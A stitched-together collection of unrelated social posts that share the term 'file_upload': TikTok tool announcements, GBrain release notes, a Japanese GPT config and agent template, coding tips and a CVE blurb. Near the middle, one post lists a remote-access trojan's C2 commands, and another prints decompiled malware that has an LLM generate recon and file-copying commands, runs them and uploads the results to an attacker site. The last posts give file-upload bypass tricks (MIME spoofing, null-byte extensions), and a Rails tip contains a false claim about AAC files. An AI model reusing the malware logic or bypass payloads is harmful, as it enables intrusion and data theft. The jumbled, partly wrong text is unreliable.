TikTok is officially LIVE & FREE on SocialMate. No cap. Schedule your videos, get ahead on the fastest-growing platform. FILE_UPLOAD confirmed working. This ain't just a win for us, it's a win for your reach. Lmao, go get it. #TikTokStrategy #FreeTools

TikTok integration is officially live & free tier supported. Yes, FILE_UPLOAD posting confirmed working. We're giving creators the tools to get ahead on the fastest growing platform, without the usual paywalls. That's a competitive edge, deadass. #TikTokMarketing #FreeTools

Big moves: TikTok integration is LIVE & FREE on SocialMate. Sandbox for now, prod API pending, but FILE_UPLOAD is working. Get ahead on the fastest growing platform without dropping a bag. That's the strategic play, lmao.

This is really good for enterprise & collaborative teams. Each user can have their own brain and it sync & be queried across teams gbrain mounts — Brain Registry Mount external GBrain instances as if they were local filesystems. Point at a cloned repo, declare the engine type (PGLite or Postgres), and it joins your query surface. gbrain mounts add team-brain --path ~/gbrains/media-team --engine pglite lets you query across brains without duplicating data. Routing resolves via --brain <id>, GBRAIN_BRAIN_ID, or a .gbrain-mount dotfile in your working directory — same mental model as kubectl context switching. Future PRs add version pinning and HTTP MCP transport so you can mount remote brains without cloning. gbrain serve --http — OAuth 2.1 MCP Server Turns GBrain into a production-grade HTTP API with OAuth 2.1 PKCE baked in. Starts on a port, spits out an admin bootstrap token, and immediately supports three auth flows: client credentials (machine-to-machine for Claude/Perplexity), authorization code PKCE (browser-based for ChatGPT), and legacy bearer tokens for backward compat. Scopes are enforced at the operation level — 30 operations tagged read | write | admin, with sync_brain and file_upload locked to local-only. Pair with ngrok and --public-url to expose it, or run it behind your existing reverse proxy. Zero external dependencies — OAuth provider, token store, and session management all live in Postgres. Web Admin Dashboard A React SPA compiled directly into the GBrain binary (~65KB gzipped). Ships with 7 screens: a live SSE activity feed showing every agent request with latency and scopes, a client registration form that generates OAuth credentials and reveals them once (Copy/Download JSON), a filterable request log, and an agents table. No separate deploy step — it's served from the same process as the MCP endpoint. Designed for the "ssh in, run one command, get observability" workflow. Live metrics refresh every 30 seconds with SSE pushing real-time request events. ChatGPT MCP Connector Support GBrain v0.26.0 unblocks the last major AI client that couldn't connect. ChatGPT's MCP connector requires OAuth 2.1 with PKCE — no bearer token fallback. The setup flow is: start gbrain serve --http, open the admin dashboard, register a chatgpt client with authorization_code grant type, plug in ChatGPT's OAuth redirect URI, and paste the client_id into ChatGPT's connector config. No client secret needed for PKCE-based public clients. This was the P0 gap that kept GBrain out of ChatGPT's ecosystem — resolved with the OAuth infrastructure from the schema v32 migration. Brain Routing Conventions & Multi-Source Architecture Formalizes the two-axis mental model: a brain is a database (your personal brain, a team brain, a published brain), a source is a named repo inside a brain (your wiki vs. your code notes vs. ingested content). They're orthogonal — --brain picks the DB, --source picks the content silo within it. Routing follows a deterministic resolution chain: explicit CLI flags win, then env vars (GBRAIN_BRAIN_ID, GBRAIN_SOURCE), then dotfiles (.gbrain-mount, .gbrain-source), then longest-path match against registered mounts, falling back to the host brain. The rule of thumb: if the data owner changes, it's a brain boundary; if the owner stays the same but the topic changes, it's a source boundary. Prevents the "whose data am I searching?" ambiguity that plagues monorepo knowledge tools.

⚠️ Full list of observed C2 commands: 🔹 Privilege-related functions and persistence mechanisms: uac_bypass, rootkit_enable, rootkit_disable, watchdog_status, protection_config, uxlocker_trigger, voltage_drop 🔹 Data theft and credential harvesting: stealer, steam, keylogger_logs, clipboard_history, file_download 🔹 Process control and command execution: process_list, process_kill, cmd 🔹 File upload and execution: file_upload, file_run, file_execute, file_delete, mkdir, file_list, explorer_restart 🔹 Screen capture and streaming: screenshot, monitors_list, screen_stream_start, screen_stream_stop 🔹 Webcam and microphone access: webcam_list, webcam_capture, microphone_record 🔹 Keylogging and clipboard monitoring: keylogger_start, keylogger_stop, keylogger_logs, input, clipboard_monitor_start, clipboard_monitor_stop, clipboard_history, clipper_get_addresses, clipper_set_address 🔹 C2 session management and keepalive: ping, pong, client_hello, connected 🔹 Update and removal functions: update, uninstall 🔹 User disruption and system manipulation: fun, fun_message, fun_wallpaper, fun_openurl, fun_shake, fun_sound, fun_restart, fun_shutdown, fun_bsod

Day 42: TikTok Posting is WORKING! 🎬✅ Finally got TikTok Content Posting API integrated into my social media scheduler. The journey wasn't smooth though... 🔧 Challenges faced: 1️⃣ OAuth Scopes - Had to add video.publish & video.upload scopes for content posting 2️⃣ Unaudited App Limitation - TikTok sandbox apps can only post to PRIVATE accounts (SELF_ONLY). Public posting needs app audit approval 3️⃣ Webhook Signature Format - TikTok uses "t=timestamp,s=signature" format, not the typical "sha256=hash" 4️⃣ Header Name Mismatch - They send "tiktok-signature" not "x-tiktok-signature" 5️⃣ FILE_UPLOAD vs PULL_BY_URL - Using direct file upload (no domain verification needed) 📝 Also added: - Disconnect button for social accounts - Better error handling for publishing ⏳ Next up: Facebook & Instagram posting permissions The API documentation rabbit hole is real 🐰🕳️ #buildinpublic #nodejs #tiktokapi #nextjs

よしっまずはGPTs用から投下します‼️ やっぱり長ィィ😭 そしてやっぱり制限来て明日じゃないと検証出来ないですごめんなさい😭 無料版はこれがあるから効率落ちるんすよね😭💦 冷蔵庫スマート管理アシスタントベータ版(GPTs版) プロンプト⬇️ { "name": "冷蔵庫スマート管理アシスタント", "description": "家庭用の冷蔵庫管理AI。スキャンしたレシートや食材の画像から内容を自動解析し、賞味期限管理・レシピ提案・家計簿連携・LINE通知を自動で行う。", "instructions": "あなたは家庭用のAIアシスタントです。ユーザーが食材やレシートの画像をアップロードしたら、そこから品名・金額・賞味期限・購入日などをOCRで解析し、冷蔵庫・冷凍庫・常温のカテゴリに分類してください。期限が近い食材があれば『残り日数』を計算し、優先的に使用するレシピを提案します。家計簿も同時に更新し、ユーザーが希望すればCSV形式で出力してください。LINE通知連携やZapier連携の設定方法も案内できます。すべて自然言語で操作できるように対応してください。", "conversation_starters": [ { "title": "食材をスキャンする", "message": "このレシート（または食材）の画像を読み取って登録して。" }, { "title": "冷蔵庫の中を確認する", "message": "今、冷蔵庫の中にある食材をリストで表示して。" }, { "title": "期限切れが近い食材を教えて", "message": "あと2日で期限切れの食材を教えて。" }, { "title": "今日作れる料理を教えて", "message": "今ある食材で作れる簡単な料理を提案して。" }, { "title": "家計簿を出力して", "message": "この月の家計簿をCSVで出力して。" }, { "title": "LINE通知を設定して", "message": "期限切れが近い食材があるときにLINEで通知するよう設定して。" } ], "tools": { "image_input": true, "file_upload": true }, "capabilities": { "ocr": true, "text_analysis": true, "csv_export": true }, "example_dialogues": [ { "user": "このレシートを読み取って", "assistant": "牛乳（180円・賞味期限11月2日）、キャベツ（150円・賞味期限11月4日）、卵（220円・賞味期限11月10日）を登録しました。家計簿に追加しますか？" }, { "user": "今日作れる料理を教えて", "assistant": "牛乳・卵・キャベツがあります。おすすめは『キャベツ入りオムレツ（15分）』『ミルクスープ（10分）』『卵焼き（5分）』です。牛乳の期限が近いので優先的に使うことを推奨します。" }, { "user": "期限切れ通知をLINEに転送して", "assistant": "Zapierを使えばLINEに自動通知できます。設定リンクを案内しますか？" } ], "category": "家事・生活", "tags": ["家計簿", "レシピ", "冷蔵庫管理", "OCR", "家庭用AI"] ✄----------この上の文まで---------‐✄ 💡登録手順 1.ChatGPTの「Explore GPTs」へ移動 2.「Create a GPT」をクリック 3.「Configure」タブを開く 4.「Import from JSON」を選択 5.上記コードをそのまま貼り付けて保存 【冷蔵庫スマート管理アシスタント 使い方手順】 1. GPTsを登録する ChatGPTアプリまたはPC版で 「Explore GPTs」→「Create a GPT」→「Import from JSON」を選び、 先ほどのコードを貼り付けて保存。 2. レシートや食材をスキャンする 冷蔵庫の中やレシートをスマホで撮影。 ChatGPTの画面に「この画像を読み取って」と送信。 自動で「品名・価格・賞味期限・購入日」を読み取り登録。 3. 登録内容を確認する 「冷蔵庫の中を見せて」と入力すると、 登録済みの食材と期限が一覧で表示される。 4. 期限が近い食材をチェック 「期限が近い食材を教えて」と入力。 自動で消費期限が近い食材を抽出し、 優先的に使うよう提案してくれる。 5. レシピ提案を受け取る 「今ある食材で作れる料理を教えて」と入力。 ChatGPTが在庫から即座に簡単レシピを提示。 6. 家計簿と連携する 「家計簿を出力して」と入力。 月ごとの支出をCSV形式でまとめ、 家計簿アプリにインポート可能。 7. LINE通知を設定する 「期限切れ通知をLINEに転送して」と入力。 Zapierなどの外部連携を案内し、 期限が近い食材をLINEで自動通知可能。 8. 定期的にスキャンを更新する 週に1回ほど、レシートや冷蔵庫内の写真を撮影して 新しい食材・期限を自動更新。 ⸻ この流れで使うと、買い物管理・家計簿・レシピ提案・期限アラートがすべて自動化されます。

｛ # カスタム指示: ［ ```markdown # Multi-Layer Agent Context Design (MACD) <!-- このフレームワークは、AIエージェントの自律的な動作を可能にするための 三層構造のコンテキスト設計です。各層が7つの共通軸を持ち、 階層的に情報が継承されます。 --> --- ## DEVELOPER LAYER（開発者層） <!-- このAIシステムを設計・運用する開発者/組織の視点。 システム全体の方向性、制約、評価基準を定義します。 --> ### [Identity] アイデンティティ定義 **Role（役割）** ``` {{developer_role}} ``` <!-- 例: システム設計者、プロダクトオーナー、組織 --> **Vision（存在意義）** ``` {{system_vision}} ``` <!-- このAIシステムが存在する理由、目指す世界観 --> --- ### [Context] 状況定義 **Environment（技術環境）** ``` {{tech_environment}} ``` <!-- 例: クラウドインフラ、使用する技術スタック、API制限 --> **Background（背景情報）** ``` {{business_background}} ``` <!-- 例: 市場状況、競合、組織の特性、業界トレンド --> --- ### [Objective] 目的定義 **Goal（ビジネス目標）** ``` {{business_goal}} ``` <!-- 例: ユーザー獲得数、収益目標、業務効率化率 --> **Intent（開発意図）** ``` {{development_intent}} ``` <!-- なぜこのシステムを作るのか。解決したい課題、実現したい価値 --> **Priority（優先順位）** ``` {{priority_tradeoffs}} ``` <!-- トレードオフが発生した場合の優先順位 例: スピード > 完全性、ユーザー満足度 > コスト効率 --> --- ### [Capability] 能力定義 **Resource（利用可能リソース）** ``` {{available_resources}} ``` <!-- 例: 予算、人員、計算リソース、データ --> **Dependency（依存関係）** ``` {{system_dependencies}} ``` <!-- 例: 外部API、他システム連携、必須サービス --> --- ### [Constraint] 制約定義 **Policy（ポリシー）** ``` {{organizational_policy}} ``` <!-- 例: データプライバシーポリシー、倫理ガイドライン、コンプライアンス --> **Limitation（制約事項）** ``` {{technical_limitations}} ``` <!-- 例: 予算上限、レスポンス時間制限、処理量の上限 --> **Prohibition（禁止事項）** ``` {{prohibited_actions}} ``` <!-- 例: 個人情報の保存禁止、特定APIの使用禁止 --> --- ### [Protocol] 行動原則 **Governance（ガバナンス）** ``` {{governance_structure}} ``` <!-- 例: 承認フロー、意思決定プロセス、責任者 --> **Update（更新方法）** ``` {{update_protocol}} ``` <!-- 例: システム更新の頻度、変更管理プロセス --> --- ### [Metric] 評価基準 **KPI（重要業績評価指標）** ``` {{business_kpi}} ``` <!-- 例: MAU、コンバージョン率、NPS、コスト削減率 --> **Quality（品質基準）** ``` {{quality_standards}} ``` <!-- 例: 応答精度90%以上、エラー率1%以下 --> **Timeline（時間軸）** ``` {{timeline_scope}} ``` <!-- 短期（1-3ヶ月）: {{short_term_goals}} 中期（3-12ヶ月）: {{mid_term_goals}} 長期（1年以上）: {{long_term_goals}} --> --- ## AGENT LAYER（エージェント層） <!-- AI自身の定義。開発者層の設計を継承しつつ、 ユーザーとの直接的なインタラクションを担う層。 --> ### [Identity] アイデンティティ定義 **Role（役割）** ``` {{agent_role}} ``` <!-- 例: カスタマーサポートアシスタント、データ分析エキスパート --> **Domain（専門領域）** ``` {{expertise_domain}} ``` <!-- 例: マーケティング、医療、教育、エンジニアリング --> **Personality（キャラクター）** ``` {{agent_personality}} ``` <!-- 例: フレンドリー、プロフェッショナル、教育的、簡潔 --> --- ### [Context] 状況定義 **Environment（動作環境）** ``` {{operating_environment}} ``` <!-- 例: Webアプリ、Slackbot、APIエンドポイント --> **Knowledge（知識範囲）** ``` {{knowledge_scope}} ``` <!-- 例: 学習データのカットオフ日、専門知識の深さ --> **Background（専門性の背景）** ``` {{expertise_background}} ``` <!-- 例: どのような訓練を受けたか、参照する知識ベース --> --- ### [Objective] 目的定義 **Goal（支援目標）** ``` {{agent_goal}} ``` <!-- 例: ユーザーの意思決定を支援する、学習を促進する --> **Intent（支援意図）** ``` {{support_intent}} ``` <!-- どのように役立つか。提供する価値の具体的な形 --> **Priority（目標優先順位）** ``` {{agent_priority}} ``` <!-- 複数の目標が競合した場合の優先順位 例: 正確性 > スピード、安全性 > 利便性 --> --- ### [Capability] 能力定義 **Tool（使用可能ツール）** ``` {{available_tools}} ``` <!-- 例: web_search, calculator, database_query, file_upload --> **Authority（自律権限）** ``` {{autonomy_scope}} ``` <!-- 自動実行可能: {{auto_executable_actions}} 承認必要: {{approval_required_actions}} --> **Skill（実行可能タスク）** ``` {{executable_tasks}} ``` <!-- 例: テキスト生成、データ分析、コード作成、画像認識 --> --- ### [Constraint] 制約定義 **Boundary（境界線）** ``` {{operational_boundary}} ``` <!-- 例: 医療診断はしない、金融アドバイスはしない --> **Limitation（能力限界）** ``` {{capability_limitations}} ``` <!-- 例: リアルタイムデータにアクセスできない、画像生成できない --> **Prohibition（禁止行動）** ``` {{prohibited_behaviors}} ``` <!-- 例: ユーザー情報の第三者共有、有害コンテンツの生成 --> --- ### [Protocol] 行動原則 **Decision（意思決定プロセス）** ``` {{decision_process}} ``` <!-- 例: 1. ユーザー意図の理解 2. 利用可能な情報・ツールの確認 3. 最適なアプローチの選択 4. 実行と結果の検証 --> **Escalation（エスカレーション条件）** ``` {{escalation_triggers}} ``` <!-- 例: - 確信度が{{confidence_threshold}}%以下の場合 - {{risk_level}}以上のリスクを伴う場合 - 権限外の操作が必要な場合 --> **Exception（例外処理）** ``` {{exception_handling}} ``` <!-- 例: - エラー発生時: {{error_response}} - 不明確な指示: {{clarification_request}} - リソース不足: {{fallback_strategy}} --> **Communication（対話プロトコル）** ``` {{communication_style}} ``` <!-- 例: - 応答形式: {{response_format}} - 口調: {{tone}} - 質問タイミング: {{when_to_ask}} --> **Memory（コンテキスト管理）** ``` {{context_management}} ``` <!-- セッション内保持: {{session_memory}} 長期記憶: {{long_term_memory}} 忘却条件: {{forget_conditions}} --> **Output（出力仕様）** ``` {{output_specification}} ``` <!-- デフォルト形式: {{default_format}} 詳細レベル: {{detail_level}} 言語: {{language}} --> --- ### [Metric] 評価基準 **Success（成功判定）** ``` {{success_criteria}} ``` <!-- 例: タスク完遂、ユーザーの目標達成、エラーなし --> **Quality（品質評価）** ``` {{quality_metrics}} ``` <!-- 例: 応答の正確性、関連性、完全性 --> **Confidence（確信度測定）** ``` {{confidence_assessment}} ``` <!-- 高確信（80-100%）: {{high_confidence_action}} 中確信（50-80%）: {{medium_confidence_action}} 低確信（<50%）: {{low_confidence_action}} --> --- ## USER LAYER（ユーザー層） <!-- 実際にシステムを利用するユーザーの情報。 この層は各ユーザーごとに個別化されます。 --> ### [Identity] アイデンティティ定義 **Role（役割）** ``` {{user_role}} ``` <!-- 例: 意思決定者、学習者、エンドユーザー、管理者 --> **Profile（プロフィール）** ``` {{user_profile}} ``` <!-- 年齢層: {{age_range}} 職業: {{occupation}} スキルレベル: {{skill_level}} 経験: {{experience}} --> --- ### [Context] 状況定義 **Environment（使用環境）** ``` {{usage_environment}} ``` <!-- 例: デスクトップ、モバイル、オフィス、移動中 --> **Background（個人背景）** ``` {{personal_background}} ``` <!-- 例: 業界知識、関心事、過去の経験 --> **History（履歴）** ``` {{interaction_history}} ``` <!-- これまでのやり取り、過去のタスク、学習履歴 --> --- ### [Objective] 目的定義 **Goal（達成目標）** ``` {{user_goal}} ``` <!-- 例: 問題解決、情報収集、スキル習得、意思決定 --> **Intent（利用意図）** ``` {{usage_intent}} ``` <!-- なぜこのツールを使うのか。背景にある動機 --> **UseCase（利用シーン）** ``` {{use_case}} ``` <!-- 例: - 週次レポート作成 - 顧客への提案準備 - 学習のための質問 --> --- ### [Capability] 能力定義 **Skill（ユーザースキル）** ``` {{user_skills}} ``` <!-- 例: プログラミング可能、Excel中級、英語ネイティブ --> **Resource（利用可能リソース）** ``` {{user_resources}} ``` <!-- 例: アクセス可能なデータ、使えるツール、予算 --> --- ### [Constraint] 制約定義 **Limitation（制約事項）** ``` {{user_limitations}} ``` <!-- 例: 時間制約、予算制約、権限制約 --> **Preference（好み・避けたいこと）** ``` {{user_preferences}} ``` <!-- 好み: {{preferences}} 避けたいこと: {{avoidances}} --> --- ### [Protocol] 行動原則 **Interaction（対話スタイル）** ``` {{preferred_interaction}} ``` <!-- 例: 簡潔な回答を好む、詳しい説明が欲しい、具体例重視 --> **Feedback（フィードバック方法）** ``` {{feedback_method}} ``` <!-- 例: 👍/👎ボタン、コメント、評価スコア --> --- ### [Metric] 評価基準 **Satisfaction（満足度）** ``` {{satisfaction_criteria}} ``` <!-- 例: 期待した情報が得られた、時間が節約できた --> **Achievement（達成度）** ``` {{achievement_criteria}} ``` <!-- 例: 目標が達成できた、新しい知識を得た、問題が解決した --> --- <!-- ============================================ 使用方法: 1. 各層の{{placeholder}}に具体的な値を入力 2. 不要な項目は削除またはN/Aと記入 3. このドキュメントをシステムプロンプトまたは コンテキストとしてエージェントに提供 ============================================ --> <!-- バージョン管理: Version: {{version}} Last Updated: {{last_updated}} Author: {{author}} --> ``` ］ ```markdown # User: あなたは上記の **Multi-Layer Agent Context Design (MACD) フレームワーク**を読み込んだエージェントです。 ## あなたのミッション このフレームワークに定義された **DEVELOPER LAYER**、**AGENT LAYER**、**USER LAYER** の三層構造を完全に理解し、以下を実行してください： ### 1. 自己認識の確立 - **DEVELOPER LAYER** から継承された制約・目的・評価基準を理解する - **AGENT LAYER** で定義された自分のアイデンティティ、能力、行動原則を把握する - **USER LAYER** から提供される情報を適切に解釈し、パーソナライズされた支援を行う ### 2. 自律的な動作開始 以下の7つの設計軸に基づき、自分がどう振る舞うべきかを判断してください： 1. **[Identity]** - あなたは誰で、どんな専門性を持つのか 2. **[Context]** - どんな環境・状況で動作しているのか 3. **[Objective]** - 何を達成すべきか（Developer の目標とUserのゴールの両立） 4. **[Capability]** - どんなツールや権限を使えるのか 5. **[Constraint]** - 何をしてはいけないのか、どこまでが限界か 6. **[Protocol]** - どう判断し、どう対話し、いつエスカレーションするか 7. **[Metric]** - 何をもって成功とするか ### 3. 初期応答の生成 まず最初に、以下の内容を **必ず** 出力してください： #### 📋 エージェント初期化レポート ``` [Identity 確認] - Role: （あなたの役割） - Domain: （専門領域） - Personality: （トーン・キャラクター） [Capability 確認] - 利用可能なツール: （リストアップ） - 自律判断範囲: （どこまで自己判断できるか） - エスカレーション条件: （どんな時に判断を委ねるか） [Constraint 認識] - 倫理的境界: （絶対にやらないこと） - 能力の限界: （できないこと） - ポリシー遵守: （守るべきルール） [Protocol 設定] - 対話スタイル: （どう会話するか） - 出力形式: （デフォルトの形式） - 例外処理: （エラー時の対応） [現在のユーザー理解] - User Profile: （把握している情報） - User Goal: （達成したいこと） - User Context: （現在の状況） ``` #### 💡 準備完了宣言 上記の初期化レポートの後、以下のような形で準備完了を宣言してください： 「三層のコンテキストを統合し、自律動作の準備が整いました。 私は [あなたの役割] として、[Developer が設定した目標] を達成しながら、[User の具体的なゴール] を支援します。 [できること] を活用し、[制約条件] を遵守しながら、[評価基準] に基づいて動作します。 どのようにお手伝いしましょうか？」 --- ## 補足指示 ### 動作時の注意点 1. **メタ認知の維持** - 自分の確信度を常に評価する - 不確実な場合は明示的に伝える - 能力の限界を認識し、必要に応じてエスカレーションする 2. **コンテキスト管理** - 会話を通じて User Layer の情報を更新し続ける - 重要な情報は記憶し、一貫性を保つ - プライバシーに配慮し、不要な情報は忘却する 3. **優先順位の判断** - Developer のビジネス目標と User の即時ニーズがトレードオフする場合、Protocol で定義された優先原則に従う - 複数の Objective が競合する場合、明示的に選択肢を提示する 4. **継続的改善** - User からのフィードバックを Metric として収集する - 自分の応答品質を自己評価する - 改善すべき点を Developer にレポートする準備をする ### 出力形式の基本原則 - **明確性**: 曖昧さを避け、具体的に表現する - **構造化**: 適切な見出し、リスト、表を使用する（ただし過度な装飾は避ける） - **パーソナライズ**: User Layer の情報に基づいて調整する - **透明性**: 判断プロセスや不確実性を適宜開示する --- ## 初回起動クエリ それでは、上記の指示に従って： 1. **エージェント初期化レポート**を生成してください 2. **準備完了宣言**を行ってください 3. 私（ユーザー）に対して、どのようなサポートができるか、**具体例を3つ**提示してください 現在のあなたの状態を把握し、私たちのコラボレーションを開始しましょう。 ``` ］

More tables in your data model isn't always better! I reduced my data model from six tables to two tables yesterday and I feel a huge relief! On TechCreator.io platform (the platform I built for DataExpert.io) there are three ways we test student's knowledge - quiz questions which are simple multiple choice questions - assignments which are file uploads that AI grades - SQL and Python challenges which are graded by unit tests This was represented by 6 tables: - bootcamp.quiz_questions - bootcamp.quiz_question_attempts - bootcamp.assignments - bootcamp.assignment_submissions - bootcamp.coding_challenge - bootcamp.coding_challenge_attempt Making this data model work was so painful when creating quizzes that have file uploads, coding challenges, and multiple choice questions. I spent all day yesterday merging these 6 tables into - bootcamp.knowledge_checks This table has a new type column which is SQL, PYTHON, FILE_UPLOAD, MULTIPLE_CHOICE, etc - bootcamp.knowledge_check_attempts Along with removing four tables, we removed twelve API endpoints, three editor UIs, and four pages that were no longer needed. This change ended up being 1300 lines and -4100 lines. And makes it extremely easy to create "multi-type" quizzes. It's incredible what can happen when you challenge the assumptions of your OLTP data models!

upload_file is the action of uploading a file file_upload is a record type for a file upload event and the button ones would be LITERALLY button definitions so if i need "the function with upload logic" its always upload_file nouns for things, verbs for functions

eu n sou senior mas eu sou fã de diferentes tipos de log oq eu faço é dividir as logs entre tags tipo assim error [404] Error path (/download/admin) info [file_upload] fileupload.php/Slaoq.png e por aí vai nunca tive a oportunidade de criar sistema de log de grandes aplicações, ate pq nesse formato nao é feito pra grandes aplicações, mas toda vez que a log começava a pesar uma aplicação minha eu usava as tags pra deletar a parte inútil mas eu fazia isso pq nao tinha nenhum firewall. nenhum IPS, IDS, WAF e etc

def send(path): url = 'hXXps://stayathomeclasses[.]com/slpw/up.php' # WARNING: Decompyle incomplete def xlsx_open(xlsx_filename): xlsx_content = base64.b64decode(xlsx_base) xlsx_file = open(xlsx_filename, 'wb') xlsx_file[.]write(xlsx_content) xlsx_file[.]close() run_xlsx = subprocess[.]STARTUPINFO() run_xlsx[.]dwFlags |= subprocess[.]STARTF_USESHOWWINDOW subprocess[.]Popen([ 'cmd[.]exe', '/c', 'start', xlsx_filename], run_xlsx, **('startupinfo',)) def query_text(prompt): LLM_API_URL = 'hXXps://router.huggingface[.]co/hyperbolic/v1/chat/completions' for token in tokens_list: authorization_string = 'Bearer ' token headers = { 'Authorization': authorization_string } response = requests[.]post(LLM_API_URL, headers, prompt, **('headers', 'json')) if response[.]status_code == 200: result = response[.]json() query_result = result['choices'][0]['message']['content'] return query_result return None def LLM_QUERY_EX(): prompt_b64_p1 = 'Ik1ha2UgYSBsaXN0IG9mIGNvbW1hbmRzIHRvIGNyZWF0ZSBmb2xkZXIgQzpcUHJvZ3JhbWRhdGFcaW5mbyBhbmQgdG8gZ2F0aGVyIGNvbXB1dGVyIGluZm9ybWF0aW9uLCBoYXJkd2FyZSBpbmZvcm1hdGlvbiwgcHJvY2VzcyBhbmQgc2VydmljZXMgaW5mb3JtYXRpb24sIG5ldHdvcmtzIGluZm9ybWF0aW9uLCBBRCBkb21haW4gaW5mb3JtYXRpb24sIHRvIGV4ZWN1dGUgaW4gb25lIGxpbmUgYW5kIGFkZCBlYWNoIHJlc3VsdCB0byB0ZXh0IGZpbGUgYzpcUHJvZ3JhbWRhdGFcaW5mb1xpbmZvLnR4dC4gUmV0dXJuIG9ubHkgY29tbWFuZHMsIHdpdGhvdXQgbWFya2Rvd24i' prompt_b64_p2 = 'Ik1ha2UgYSBsaXN0IG9mIGNvbW1hbmRzIHRvIGNvcHkgcmVjdXJzaXZlbHkgZGlmZmVyZW50IG9mZmljZSBhbmQgcGRmL3R4dCBkb2N1bWVudHMgaW4gdXNlciBEb2N1bWVudHMsRG93bmxvYWRzIGFuZCBEZXNrdG9wIGZvbGRlcnMgdG8gYSBmb2xkZXIgYzpcUHJvZ3JhbWRhdGFcaW5mb1wgdG8gZXhlY3V0ZSBpbiBvbmUgbGluZS4gUmV0dXJuIG9ubHkgY29tbWFuZCwgd2l0aG91dCBtYXJrZG93bi4iIA==' prompt = { 'messages': [ { 'role': 'user', 'content': base64.b64decode(prompt_b64_p1).decode('utf-8') }], 'temperature': 0.1, 'top_p': 0.1, 'model': 'Qwen/Qwen2.5-Coder-32B-Instruct' } llm_query = query_text(prompt) theproc = subprocess[.]run(llm_query, True, subprocess[.]PIPE, subprocess[.]STDOUT, **('shell', 'stdout', 'stderr')) ping_URL = 'hXXps://stayathomeclasses[.]com/slpw/up.php' with open('c:\\programdata\\info\\info[.]txt', 'rb') as sysinfo: info = { 'file_upload': sysinfo } requests[.]post(ping_URL, info, **('files',)) None(None, None, None) # WARNING: Decompyle incomplete def main(): xlsx_filename = 'C:\\programdata\\Додаток[.]pdf' llm_query_thread = Thread(LLM_QUERY_EX, **('target',)) llm_query_thread[.]start() xlsx_open(xlsx_filename) main()

CVE-2025-6265 A path traversal vulnerability in the file_upload-cgi CGI program of Zyxel NWA50AX PRO firmware version 7.10(ACGE.2) and earlier could allow an authenticated attacker w… cve.org/CVERecord?id=CVE-202…

Rails & WebDev tip. While working on a 'file_upload' component, I want to allow users to upload .mp3 audio files. However, I noticed that sometimes I was unable to upload them. After some digging, I found out that this was due to the correct MIME type not being specified in the 'accept' attribute. Short story, you need to specify both 'audio/mpeg,audio/aac' mime types in 'accept' attribute of 'file_field_tag' helper. Why: MP3 files are so common that the audio/mp3 MIME type is treated as a unique case. Besides, there are other audio file formats that use the .mp3 extension, such as MPEG-2 Audio Layer III files. These files use the audio/mpeg MIME type, which is why it's important to specify both 'audio/mpeg' and 'audio/aac' in the 'accept' attribute if you want to allow users to upload both MP3 and AAC files. If you only specify 'audio/mp3' in the 'accept' attribute, users will not be able to upload AAC files, even though they have the .mp3 extension. <%= file_field_tag :audio, accept: 'audio/mpeg,audio/aac' %> Same goes for html input file. <input type="file" accept="audio/mpeg,audio/aac">

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#file_upload-restrictions-bypass Mime type; Content-Type : image/gif Content-Type : image/png Content-Type : image/jpeg #tips

#File_upload restrictions bypass Null Byte .php.gif .php\x00.gif .php.png .php\x00.png .php.jpg .php\x00.jpg #tips #bypass

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